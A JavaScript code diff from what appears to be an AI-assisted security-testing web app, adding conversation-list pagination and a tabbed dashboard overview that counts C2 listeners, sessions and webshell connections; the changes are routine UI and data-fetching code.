offset: parseListOffsetValue(data.offset),
|
||||||
|
isLegacyArray: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
async function resolveConversationsListTotal(params, parsed, pageSize, offset) {
|
||||||
|
const serverTotal = parsed.total;
|
||||||
|
if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
|
||||||
|
return serverTotal;
|
||||||
|
}
|
||||||
|
if (parsed.items.length < pageSize) {
|
||||||
|
return Math.max(serverTotal, offset + parsed.items.length);
|
||||||
|
}
|
||||||
|
const probe = new URLSearchParams(params);
|
||||||
|
probe.set('offset', String(offset + pageSize));
|
||||||
|
probe.set('limit', '1');
|
||||||
|
try {
|
||||||
|
const res = await apiFetch(`/api/conversations?${probe}`);
|
||||||
|
if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
|
||||||
|
const probeParsed = parseConversationsListResponse(await res.json());
|
||||||
|
if (probeParsed.total > serverTotal) return probeParsed.total;
|
||||||
|
if (probeParsed.items.length > 0) {
|
||||||
|
return Math.max(serverTotal, offset + pageSize + 1);
|
||||||
|
}
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
return Math.max(serverTotal, offset + parsed.items.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchAllConversations(searchQuery) {
|
||||||
|
let all = [];
|
||||||
|
const pageSize = 200;
|
||||||
|
let offset = 0;
|
||||||
|
let total = Infinity;
|
||||||
|
const search = (searchQuery || '').trim();
|
||||||
|
while (all.length < total) {
|
||||||
|
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||||
|
if (search) params.set('search', search);
|
||||||
|
const res = await apiFetch(`/api/conversations?${params}`);
|
||||||
|
if (!res.ok) throw new Error('load conversations failed');
|
||||||
|
const parsed = parseConversationsListResponse(await res.json());
|
||||||
|
all = all.concat(parsed.items);
|
||||||
|
total = parsed.total;
|
||||||
|
if (!parsed.items.length) break;
|
||||||
|
offset += parsed.items.length;
|
||||||
|
}
|
||||||
|
return all;
|
||||||
|
}
|
||||||
|
|
||||||
|
function getConversationListEmptyHtml() {
|
||||||
|
return '<div class="conversations-list-empty" data-i18n="chat.noHistoryConversations"></div>';
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderConversationsPagination(visibleCount) {
|
||||||
|
const el = document.getElementById('conversations-pagination');
|
||||||
|
if (!el) return;
|
||||||
|
const { page, pageSize, total } = conversationsPagination;
|
||||||
|
const count = typeof visibleCount === 'number' ? visibleCount : (conversationsPagination.visibleCount || 0);
|
||||||
|
conversationsPagination.visibleCount = count;
|
||||||
|
|
||||||
|
if (count === 0 || total === 0) {
|
||||||
|
el.innerHTML = '';
|
||||||
|
el.hidden = true;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
|
||||||
|
const navDisabled = totalPages <= 1;
|
||||||
|
el.hidden = false;
|
||||||
|
const start = (page - 1) * pageSize + 1;
|
||||||
|
const end = Math.min(page * pageSize, total);
|
||||||
|
const tFn = typeof window.t === 'function' ? window.t.bind(window) : null;
|
||||||
|
const infoText = tFn
|
||||||
|
? tFn('chat.paginationRange', { start, end, total })
|
||||||
|
: `${start}-${end}/${total}`;
|
||||||
|
const pageText = tFn
|
||||||
|
? tFn('chat.paginationPage', { page, total: totalPages })
|
||||||
|
: `${page}/${totalPages}`;
|
||||||
|
const perPageLabel = tFn ? tFn('chat.paginationPerPage') : 'Per page';
|
||||||
|
const prevLabel = tFn ? tFn('chat.paginationPrev') : 'Prev';
|
||||||
|
const nextLabel = tFn ? tFn('chat.paginationNext') : 'Next';
|
||||||
|
el.innerHTML = `
|
||||||
|
<div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
|
||||||
|
<span class="pagination-info">${escapeHtml(infoText)}</span>
|
||||||
|
<div class="pagination-controls">
|
||||||
|
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(prevLabel)}" aria-label="${escapeHtml(prevLabel)}">‹</button>
|
||||||
|
<span class="pagination-page">${escapeHtml(pageText)}</span>
|
||||||
|
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(nextLabel)}" aria-label="${escapeHtml(nextLabel)}">›</button>
|
||||||
|
</div>
|
||||||
|
<label class="pagination-page-size">
|
||||||
|
${escapeHtml(perPageLabel)}
|
||||||
|
<select id="conversations-page-size-pagination" onchange="changeConversationsPageSize()">
|
||||||
|
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
|
||||||
|
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
|
||||||
|
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function goConversationsPage(page) {
|
||||||
|
const totalPages = Math.max(1, Math.ceil((conversationsPagination.total || 0) / conversationsPagination.pageSize) || 1);
|
||||||
|
const next = Math.min(Math.max(1, page), totalPages);
|
||||||
|
if (next === conversationsPagination.page) return;
|
||||||
|
conversationsPagination.page = next;
|
||||||
|
loadConversationsWithGroups(conversationsSearchQuery);
|
||||||
|
}
|
||||||
|
|
||||||
|
function changeConversationsPageSize() {
|
||||||
|
const sel = document.getElementById('conversations-page-size-pagination');
|
||||||
|
const newSize = sel ? parseInt(sel.value, 10) : 50;
|
||||||
|
if (![20, 50, 100].includes(newSize)) return;
|
||||||
|
try {
|
||||||
|
localStorage.setItem(CONVERSATIONS_PAGE_SIZE_KEY, String(newSize));
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
conversationsPagination.pageSize = newSize;
|
||||||
|
conversationsPagination.page = 1;
|
||||||
|
loadConversationsWithGroups(conversationsSearchQuery);
|
||||||
|
}
|
||||||
|
|
||||||
|
window.goConversationsPage = goConversationsPage;
|
||||||
|
window.changeConversationsPageSize = changeConversationsPageSize;
|
||||||
|
|
||||||
// 加载分组列表
|
// 加载分组列表
|
||||||
async function loadGroups() {
|
async function loadGroups() {
|
||||||
@@ -5799,12 +5885,17 @@ async function loadGroups() {
|
|||||||
async function loadConversationsWithGroups(searchQuery = '') {
|
async function loadConversationsWithGroups(searchQuery = '') {
|
||||||
const loadSeq = ++conversationsListLoadSeq;
|
const loadSeq = ++conversationsListLoadSeq;
|
||||||
try {
|
try {
|
||||||
// 并行加载分组列表、分组映射和对话列表(消除串行等待)
|
conversationsSearchQuery = searchQuery || '';
|
||||||
const limit = (searchQuery && searchQuery.trim()) ? 100 : 100;
|
conversationsPagination.pageSize = getConversationsPageSize();
|
||||||
let url = `/api/conversations?limit=${limit}`;
|
const pageSize = conversationsPagination.pageSize;
|
||||||
|
const offset = (conversationsPagination.page - 1) * pageSize;
|
||||||
|
const convParams = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||||
if (searchQuery && searchQuery.trim()) {
|
if (searchQuery && searchQuery.trim()) {
|
||||||
url += '&search=' + encodeURIComponent(searchQuery.trim());
|
convParams.set('search', searchQuery.trim());
|
||||||
|
} else {
|
||||||
|
convParams.set('exclude_grouped', 'true');
|
||||||
}
|
}
|
||||||
|
const url = `/api/conversations?${convParams}`;
|
||||||
const [,, response] = await Promise.all([
|
const [,, response] = await Promise.all([
|
||||||
loadGroups(),
|
loadGroups(),
|
||||||
loadConversationGroupMapping(),
|
loadConversationGroupMapping(),
|
||||||
@@ -5821,23 +5912,26 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
|||||||
const sidebarContent = listContainer.closest('.sidebar-content');
|
const sidebarContent = listContainer.closest('.sidebar-content');
|
||||||
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
|
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
|
||||||
|
|
||||||
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
|
const emptyStateHtml = getConversationListEmptyHtml();
|
||||||
listContainer.innerHTML = '';
|
listContainer.innerHTML = '';
|
||||||
|
|
||||||
// 如果响应不是200,显示空状态(友好处理,不显示错误)
|
// 如果响应不是200,显示空状态(友好处理,不显示错误)
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
listContainer.innerHTML = emptyStateHtml;
|
listContainer.innerHTML = emptyStateHtml;
|
||||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||||
|
renderConversationsPagination(0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const conversations = await response.json();
|
const data = await response.json();
|
||||||
if (loadSeq !== conversationsListLoadSeq) return;
|
if (loadSeq !== conversationsListLoadSeq) return;
|
||||||
|
const parsed = parseConversationsListResponse(data);
|
||||||
|
conversationsPagination.total = await resolveConversationsListTotal(convParams, parsed, pageSize, offset);
|
||||||
|
|
||||||
// 双重保险:后端或并发情况下若出现重复ID,前端按ID去重
|
// 双重保险:后端或并发情况下若出现重复ID,前端按ID去重
|
||||||
const uniqueConversations = [];
|
const uniqueConversations = [];
|
||||||
const seenConversationIds = new Set();
|
const seenConversationIds = new Set();
|
||||||
(Array.isArray(conversations) ? conversations : []).forEach(conv => {
|
parsed.items.forEach(conv => {
|
||||||
if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
|
if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -5848,6 +5942,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
|||||||
if (uniqueConversations.length === 0) {
|
if (uniqueConversations.length === 0) {
|
||||||
listContainer.innerHTML = emptyStateHtml;
|
listContainer.innerHTML = emptyStateHtml;
|
||||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||||
|
renderConversationsPagination(0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -5958,15 +6053,29 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
|||||||
fragment.appendChild(section);
|
fragment.appendChild(section);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const visibleCount = pinnedConvs.length + Object.values(groups).reduce((n, arr) => n + (arr ? arr.length : 0), 0);
|
||||||
|
conversationsPagination.visibleCount = visibleCount;
|
||||||
|
|
||||||
|
if (!hasSearchQuery && visibleCount === 0 && parsed.items.length > 0) {
|
||||||
|
const totalPages = Math.max(1, Math.ceil(parsed.total / pageSize));
|
||||||
|
if (conversationsPagination.page < totalPages) {
|
||||||
|
conversationsPagination.page += 1;
|
||||||
|
loadConversationsWithGroups(searchQuery);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (fragment.children.length === 0) {
|
if (fragment.children.length === 0) {
|
||||||
listContainer.innerHTML = emptyStateHtml;
|
listContainer.innerHTML = emptyStateHtml;
|
||||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||||
|
renderConversationsPagination(0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (loadSeq !== conversationsListLoadSeq) return;
|
if (loadSeq !== conversationsListLoadSeq) return;
|
||||||
listContainer.appendChild(fragment);
|
listContainer.appendChild(fragment);
|
||||||
updateActiveConversation();
|
updateActiveConversation();
|
||||||
|
renderConversationsPagination(visibleCount);
|
||||||
|
|
||||||
// 恢复滚动位置
|
// 恢复滚动位置
|
||||||
if (sidebarContent) {
|
if (sidebarContent) {
|
||||||
@@ -5983,9 +6092,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
|||||||
// 错误时显示空状态,而不是错误提示(更友好的用户体验)
|
// 错误时显示空状态,而不是错误提示(更友好的用户体验)
|
||||||
const listContainer = document.getElementById('conversations-list');
|
const listContainer = document.getElementById('conversations-list');
|
||||||
if (listContainer) {
|
if (listContainer) {
|
||||||
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
|
listContainer.innerHTML = getConversationListEmptyHtml();
|
||||||
listContainer.innerHTML = emptyStateHtml;
|
|
||||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||||
|
renderConversationsPagination(0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -7099,15 +7208,7 @@ function updateBatchManageTitle(count) {
|
|||||||
|
|
||||||
async function showBatchManageModal() {
|
async function showBatchManageModal() {
|
||||||
try {
|
try {
|
||||||
const response = await apiFetch('/api/conversations?limit=1000');
|
allConversationsForBatch = await fetchAllConversations('');
|
||||||
|
|
||||||
// 如果响应不是200,使用空数组(友好处理,不显示错误)
|
|
||||||
if (!response.ok) {
|
|
||||||
allConversationsForBatch = [];
|
|
||||||
} else {
|
|
||||||
const data = await response.json();
|
|
||||||
allConversationsForBatch = Array.isArray(data) ? data : [];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
const modal = document.getElementById('batch-manage-modal');
|
||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
@@ -7508,7 +7609,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
refreshHitlConfigByCurrentConversation();
|
refreshHitlConfigByCurrentConversation();
|
||||||
});
|
});
|
||||||
|
|
||||||
// 点击外部关闭图标选择器、对话模式面板
|
// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
|
||||||
document.addEventListener('click', function(event) {
|
document.addEventListener('click', function(event) {
|
||||||
const picker = document.getElementById('group-icon-picker');
|
const picker = document.getElementById('group-icon-picker');
|
||||||
const iconBtn = document.getElementById('create-group-icon-btn');
|
const iconBtn = document.getElementById('create-group-icon-btn');
|
||||||
@@ -7534,6 +7635,13 @@ document.addEventListener('click', function(event) {
|
|||||||
closeChatReasoningPanel();
|
closeChatReasoningPanel();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const hitlCard = document.getElementById('hitl-sidebar-card');
|
||||||
|
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
|
||||||
|
if (!hitlCard.contains(event.target)) {
|
||||||
|
closeHitlSidebarCard();
|
||||||
|
}
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// 创建分组
|
// 创建分组
|
||||||
|
|||||||
+385
-62
@@ -21,6 +21,9 @@ var dashboardState = {
|
|||||||
lastUpdatedAt: 0, // 上次成功刷新的时间戳(ms)
|
lastUpdatedAt: 0, // 上次成功刷新的时间戳(ms)
|
||||||
dismissedAlertKey: null, // 当前会话中被用户「×」掉的告警内容指纹(同样的 reasons 不再弹)
|
dismissedAlertKey: null, // 当前会话中被用户「×」掉的告警内容指纹(同样的 reasons 不再弹)
|
||||||
lastResources: null, // 上一轮关键资源快照,用于判断是否首次有数据 / 智能 CTA
|
lastResources: null, // 上一轮关键资源快照,用于判断是否首次有数据 / 智能 CTA
|
||||||
|
recentFeedTab: 'vulns', // 最近漏洞 / 近期事实 Tab
|
||||||
|
accessTab: 'c2', // 接入概览 Tab:c2 | webshell
|
||||||
|
lastProjectSummary: null, // 最近一次项目仪表盘摘要(供 Tab 切换时重绘)
|
||||||
};
|
};
|
||||||
|
|
||||||
async function refreshDashboard() {
|
async function refreshDashboard() {
|
||||||
@@ -57,9 +60,14 @@ async function refreshDashboard() {
|
|||||||
hideEl('dashboard-kpi-vuln-critical-badge');
|
hideEl('dashboard-kpi-vuln-critical-badge');
|
||||||
hideEl('dashboard-alert-banner');
|
hideEl('dashboard-alert-banner');
|
||||||
setRecentVulnsLoading();
|
setRecentVulnsLoading();
|
||||||
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
|
setRecentFactsLoading();
|
||||||
|
['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
|
||||||
setEl('dashboard-resource-' + k, '…');
|
setEl('dashboard-resource-' + k, '…');
|
||||||
});
|
});
|
||||||
|
setEl('dashboard-webshell-connections', '…');
|
||||||
|
setEl('dashboard-c2-listeners-running', '…');
|
||||||
|
setEl('dashboard-c2-sessions-online', '…');
|
||||||
|
setEl('dashboard-c2-tasks-pending', '…');
|
||||||
var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
|
var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
|
||||||
if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
|
if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
|
||||||
var barChartEl = document.getElementById('dashboard-tools-bar-chart');
|
var barChartEl = document.getElementById('dashboard-tools-bar-chart');
|
||||||
@@ -104,7 +112,8 @@ async function refreshDashboard() {
|
|||||||
openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
|
openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
|
||||||
hitlPendingRes, notificationsRes, externalMcpStatsRes,
|
hitlPendingRes, notificationsRes, externalMcpStatsRes,
|
||||||
webshellRes,
|
webshellRes,
|
||||||
c2ListenersRes, c2SessionsRes, c2TasksRes
|
c2ListenersRes, c2SessionsRes, c2TasksRes,
|
||||||
|
projectSummaryRes
|
||||||
] = await Promise.all([
|
] = await Promise.all([
|
||||||
fetchJson('/api/agent-loop/tasks'),
|
fetchJson('/api/agent-loop/tasks'),
|
||||||
fetchJson('/api/vulnerabilities/stats'),
|
fetchJson('/api/vulnerabilities/stats'),
|
||||||
@@ -112,7 +121,7 @@ async function refreshDashboard() {
|
|||||||
fetchJson('/api/monitor/stats'),
|
fetchJson('/api/monitor/stats'),
|
||||||
fetchJson('/api/knowledge/stats'),
|
fetchJson('/api/knowledge/stats'),
|
||||||
fetchJson('/api/skills/stats'),
|
fetchJson('/api/skills/stats'),
|
||||||
fetchJson('/api/vulnerabilities?limit=5&page=1'),
|
fetchJson('/api/vulnerabilities?limit=10&page=1'),
|
||||||
fetchJson('/api/roles'),
|
fetchJson('/api/roles'),
|
||||||
fetchJson('/api/multi-agent/markdown-agents'),
|
fetchJson('/api/multi-agent/markdown-agents'),
|
||||||
openVulnQuery('critical'),
|
openVulnQuery('critical'),
|
||||||
@@ -134,7 +143,8 @@ async function refreshDashboard() {
|
|||||||
// C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count)
|
// C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count)
|
||||||
fetchJson('/api/c2/listeners'),
|
fetchJson('/api/c2/listeners'),
|
||||||
fetchJson('/api/c2/sessions?limit=500'),
|
fetchJson('/api/c2/sessions?limit=500'),
|
||||||
fetchJson('/api/c2/tasks?page=1&page_size=1')
|
fetchJson('/api/c2/tasks?page=1&page_size=1'),
|
||||||
|
fetchJson('/api/projects/dashboard-summary?fact_limit=10')
|
||||||
]);
|
]);
|
||||||
|
|
||||||
// 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果
|
// 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果
|
||||||
@@ -373,20 +383,10 @@ async function refreshDashboard() {
|
|||||||
} else {
|
} else {
|
||||||
setEl('dashboard-resource-agents', '-');
|
setEl('dashboard-resource-agents', '-');
|
||||||
}
|
}
|
||||||
// WebShell 已建立的连接:/api/webshell/connections 直接返回数组(不带包裹),
|
|
||||||
// 兼容一下 { connections: [...] } 形式以防后续接口变更
|
|
||||||
var webshellList = null;
|
|
||||||
if (Array.isArray(webshellRes)) webshellList = webshellRes;
|
|
||||||
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
|
|
||||||
var webshellCount = webshellList ? webshellList.length : null;
|
|
||||||
if (webshellCount !== null) {
|
|
||||||
setEl('dashboard-resource-webshell', formatNumber(webshellCount));
|
|
||||||
} else {
|
|
||||||
setEl('dashboard-resource-webshell', '-');
|
|
||||||
}
|
|
||||||
|
|
||||||
// 最近漏洞列表
|
// 最近漏洞列表
|
||||||
renderRecentVulns(recentVulnsRes);
|
renderRecentVulns(recentVulnsRes);
|
||||||
|
dashboardState.lastProjectSummary = projectSummaryRes;
|
||||||
|
renderRecentFacts(projectSummaryRes);
|
||||||
|
|
||||||
// External MCP 健康度(同时拿到 down 数喂给 alert banner / 推荐操作)
|
// External MCP 健康度(同时拿到 down 数喂给 alert banner / 推荐操作)
|
||||||
var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
|
var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
|
||||||
@@ -397,8 +397,8 @@ async function refreshDashboard() {
|
|||||||
// 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型)
|
// 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型)
|
||||||
renderRecentEvents(notificationsRes);
|
renderRecentEvents(notificationsRes);
|
||||||
|
|
||||||
// C2 概览条(监听器 / 在线会话 / 待处理任务)
|
// 接入概览(C2 + WebShell)
|
||||||
renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes);
|
renderDashboardAccessOverview(c2ListenersRes, c2SessionsRes, c2TasksRes, webshellRes);
|
||||||
|
|
||||||
// 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示
|
// 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示
|
||||||
renderDashboardAlertBanner({
|
renderDashboardAlertBanner({
|
||||||
@@ -448,12 +448,13 @@ async function refreshDashboard() {
|
|||||||
setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
|
setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
|
||||||
setKpiSubText('dashboard-kpi-tools-sub-text', '-');
|
setKpiSubText('dashboard-kpi-tools-sub-text', '-');
|
||||||
setKpiSubText('dashboard-kpi-rate-sub-text', '-');
|
setKpiSubText('dashboard-kpi-rate-sub-text', '-');
|
||||||
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
|
['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
|
||||||
setEl('dashboard-resource-' + k, '-');
|
setEl('dashboard-resource-' + k, '-');
|
||||||
});
|
});
|
||||||
var c2secErr = document.getElementById('dashboard-section-c2');
|
var accessSecErr = document.getElementById('dashboard-section-access');
|
||||||
if (c2secErr) c2secErr.hidden = true;
|
if (accessSecErr) accessSecErr.hidden = true;
|
||||||
setRecentVulnsError();
|
setRecentVulnsError();
|
||||||
|
setRecentFactsError();
|
||||||
renderDashboardToolsBar(null);
|
renderDashboardToolsBar(null);
|
||||||
var ph = document.getElementById('dashboard-tools-pie-placeholder');
|
var ph = document.getElementById('dashboard-tools-pie-placeholder');
|
||||||
if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
|
if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
|
||||||
@@ -467,53 +468,181 @@ async function refreshDashboard() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** C2 概览条:依赖 /api/c2/listeners、sessions、tasks;任一路由失败则整块隐藏 */
|
/** 接入概览:C2 / WebShell Tab 切换;C2 禁用时仅保留 WebShell Tab */
|
||||||
function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
|
function renderDashboardAccessOverview(listenersRes, sessionsRes, tasksRes, webshellRes) {
|
||||||
var section = document.getElementById('dashboard-section-c2');
|
var section = document.getElementById('dashboard-section-access');
|
||||||
if (!section) return;
|
if (!section) return;
|
||||||
if (listenersRes === null && sessionsRes === null && tasksRes === null) {
|
|
||||||
|
var c2ConfigOn = window.__c2Enabled !== false;
|
||||||
|
var webshellList = null;
|
||||||
|
if (Array.isArray(webshellRes)) webshellList = webshellRes;
|
||||||
|
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
|
||||||
|
var wsApiOk = webshellRes !== null;
|
||||||
|
var c2ApiOk = listenersRes !== null || sessionsRes !== null || tasksRes !== null;
|
||||||
|
var showC2 = c2ConfigOn && c2ApiOk;
|
||||||
|
var showWs = wsApiOk;
|
||||||
|
|
||||||
|
section.dataset.c2Available = showC2 ? '1' : '0';
|
||||||
|
section.dataset.webshellAvailable = showWs ? '1' : '0';
|
||||||
|
|
||||||
|
if (!showC2 && !showWs) {
|
||||||
section.hidden = true;
|
section.hidden = true;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
var running = '-';
|
|
||||||
if (listenersRes && Array.isArray(listenersRes.listeners)) {
|
if (showC2) {
|
||||||
running = String(listenersRes.listeners.filter(function (l) {
|
var running = '-';
|
||||||
return (l && (l.status || '').toLowerCase() === 'running');
|
if (listenersRes && Array.isArray(listenersRes.listeners)) {
|
||||||
}).length);
|
running = String(listenersRes.listeners.filter(function (l) {
|
||||||
} else if (listenersRes === null) {
|
return (l && (l.status || '').toLowerCase() === 'running');
|
||||||
running = '-';
|
}).length);
|
||||||
} else {
|
} else if (listenersRes === null) {
|
||||||
running = '0';
|
running = '-';
|
||||||
|
} else {
|
||||||
|
running = '0';
|
||||||
|
}
|
||||||
|
var online = '-';
|
||||||
|
if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
|
||||||
|
online = String(sessionsRes.sessions.filter(function (s) {
|
||||||
|
if (!s) return false;
|
||||||
|
var st = (s.status || '').toLowerCase();
|
||||||
|
return st === 'active' || st === 'sleeping';
|
||||||
|
}).length);
|
||||||
|
} else if (sessionsRes === null) {
|
||||||
|
online = '-';
|
||||||
|
} else {
|
||||||
|
online = '0';
|
||||||
|
}
|
||||||
|
var pending = '-';
|
||||||
|
if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
|
||||||
|
pending = String(tasksRes.pending_queued_count);
|
||||||
|
} else if (tasksRes === null) {
|
||||||
|
pending = '-';
|
||||||
|
} else {
|
||||||
|
pending = '0';
|
||||||
|
}
|
||||||
|
setEl('dashboard-c2-listeners-running', running);
|
||||||
|
setEl('dashboard-c2-sessions-online', online);
|
||||||
|
setEl('dashboard-c2-tasks-pending', pending);
|
||||||
}
|
}
|
||||||
var online = '-';
|
|
||||||
if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
|
if (showWs) {
|
||||||
online = String(sessionsRes.sessions.filter(function (s) {
|
var wsCount = webshellList ? webshellList.length : 0;
|
||||||
if (!s) return false;
|
setEl('dashboard-webshell-connections', formatNumber(wsCount));
|
||||||
var st = (s.status || '').toLowerCase();
|
renderDashboardWebshellRecent(webshellList || []);
|
||||||
return st === 'active' || st === 'sleeping';
|
|
||||||
}).length);
|
|
||||||
} else if (sessionsRes === null) {
|
|
||||||
online = '-';
|
|
||||||
} else {
|
|
||||||
online = '0';
|
|
||||||
}
|
}
|
||||||
var pending = '-';
|
|
||||||
if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
|
|
||||||
pending = String(tasksRes.pending_queued_count);
|
|
||||||
} else if (tasksRes === null) {
|
|
||||||
pending = '-';
|
|
||||||
} else {
|
|
||||||
pending = '0';
|
|
||||||
}
|
|
||||||
setEl('dashboard-c2-listeners-running', running);
|
|
||||||
setEl('dashboard-c2-sessions-online', online);
|
|
||||||
setEl('dashboard-c2-tasks-pending', pending);
|
|
||||||
section.hidden = false;
|
section.hidden = false;
|
||||||
|
syncDashboardAccessTabs();
|
||||||
if (typeof applyTranslations === 'function') {
|
if (typeof applyTranslations === 'function') {
|
||||||
try { applyTranslations(section); } catch (_e) { /* ignore */ }
|
try { applyTranslations(section); } catch (_e) { /* ignore */ }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** C2 / WebShell Tab 切换(样式与「最近漏洞 / 近期事实」一致) */
|
||||||
|
function switchDashboardAccessTab(tab) {
|
||||||
|
tab = tab === 'webshell' ? 'webshell' : 'c2';
|
||||||
|
dashboardState.accessTab = tab;
|
||||||
|
applyDashboardAccessTabUI(tab);
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyDashboardAccessTabUI(tab) {
|
||||||
|
var tabC2 = document.getElementById('dashboard-access-tab-c2');
|
||||||
|
var tabWs = document.getElementById('dashboard-access-tab-webshell');
|
||||||
|
var panelC2 = document.getElementById('dashboard-access-panel-c2');
|
||||||
|
var panelWs = document.getElementById('dashboard-access-panel-webshell');
|
||||||
|
if (tabC2) {
|
||||||
|
tabC2.classList.toggle('is-active', tab === 'c2');
|
||||||
|
tabC2.setAttribute('aria-selected', tab === 'c2' ? 'true' : 'false');
|
||||||
|
}
|
||||||
|
if (tabWs) {
|
||||||
|
tabWs.classList.toggle('is-active', tab === 'webshell');
|
||||||
|
tabWs.setAttribute('aria-selected', tab === 'webshell' ? 'true' : 'false');
|
||||||
|
}
|
||||||
|
if (panelC2) panelC2.hidden = tab !== 'c2';
|
||||||
|
if (panelWs) panelWs.hidden = tab !== 'webshell';
|
||||||
|
updateDashboardAccessViewAll(tab);
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateDashboardAccessViewAll(tab) {
|
||||||
|
